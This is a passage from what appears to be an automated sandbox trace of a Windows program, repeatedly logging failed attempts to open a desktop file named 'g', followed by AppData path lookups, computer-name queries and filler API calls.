lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.741] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.741] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.741] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.741] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.741] CloseHandle (hObject=0x0) returned 0 [0144.741] CloseHandle (hObject=0xffffffff) returned 1 [0144.741] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.741] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.741] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.741] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.742] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.742] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.742] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.742] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.742] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.742] CloseHandle (hObject=0x0) returned 0 [0144.742] CloseHandle (hObject=0xffffffff) returned 1 [0144.742] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.742] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.742] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.742] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.742] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.742] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.742] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.742] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.742] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.742] CloseHandle (hObject=0x0) returned 0 [0144.742] CloseHandle (hObject=0xffffffff) returned 1 [0144.742] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.742] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.742] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.742] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.742] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.743] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.743] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.743] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.743] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.743] CloseHandle (hObject=0x0) returned 0 [0144.743] CloseHandle (hObject=0xffffffff) returned 1 [0144.743] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.743] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.743] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.743] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.743] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.743] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.743] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.743] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.743] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.743] CloseHandle (hObject=0x0) returned 0 [0144.743] CloseHandle (hObject=0xffffffff) returned 1 [0144.743] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.743] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.743] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.743] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.743] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.744] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.744] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.744] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.744] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.744] CloseHandle (hObject=0x0) returned 0 [0144.744] CloseHandle (hObject=0xffffffff) returned 1 [0144.744] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.744] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.744] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.744] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.744] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.744] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.744] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.744] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.744] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.744] CloseHandle (hObject=0x0) returned 0 [0144.744] CloseHandle (hObject=0xffffffff) returned 1 [0144.744] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.744] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.744] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.744] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.744] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.744] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.745] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.745] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.745] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.745] CloseHandle (hObject=0x0) returned 0 [0144.745] CloseHandle (hObject=0xffffffff) returned 1 [0144.745] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.745] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.745] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.745] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.745] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.745] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.745] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.745] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.745] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.745] CloseHandle (hObject=0x0) returned 0 [0144.745] CloseHandle (hObject=0xffffffff) returned 1 [0144.745] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.745] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.745] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.745] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.745] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.745] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.745] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.746] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.746] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.746] CloseHandle (hObject=0x0) returned 0 [0144.746] CloseHandle (hObject=0xffffffff) returned 1 [0144.746] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.746] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.746] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.746] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.746] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.746] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.746] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.746] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.746] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.746] CloseHandle (hObject=0x0) returned 0 [0144.746] CloseHandle (hObject=0xffffffff) returned 1 [0144.746] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.746] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.746] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.746] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.746] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.746] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.746] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.746] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.747] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.747] CloseHandle (hObject=0x0) returned 0 [0144.747] CloseHandle (hObject=0xffffffff) returned 1 [0144.747] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.747] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.747] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.747] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.747] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.747] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.747] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.747] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.747] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.747] CloseHandle (hObject=0x0) returned 0 [0144.747] CloseHandle (hObject=0xffffffff) returned 1 [0144.747] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.747] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.747] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.747] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.747] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.747] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.748] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.748] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.748] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.748] CloseHandle (hObject=0x0) returned 0 [0144.748] CloseHandle (hObject=0xffffffff) returned 1 [0144.748] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.748] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.748] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.748] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.748] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.748] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.748] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.748] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.748] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.748] CloseHandle (hObject=0x0) returned 0 [0144.748] CloseHandle (hObject=0xffffffff) returned 1 [0144.748] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.748] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.748] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.748] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.748] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.749] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.749] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.749] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.749] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.749] CloseHandle (hObject=0x0) returned 0 [0144.749] CloseHandle (hObject=0xffffffff) returned 1 [0144.749] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.749] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.749] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.749] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.749] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.749] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.749] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.749] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.749] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.749] CloseHandle (hObject=0x0) returned 0 [0144.749] CloseHandle (hObject=0xffffffff) returned 1 [0144.749] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.749] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.749] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.749] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.749] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.749] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.750] CreateFileMappingW (hFile=0xffffffff, 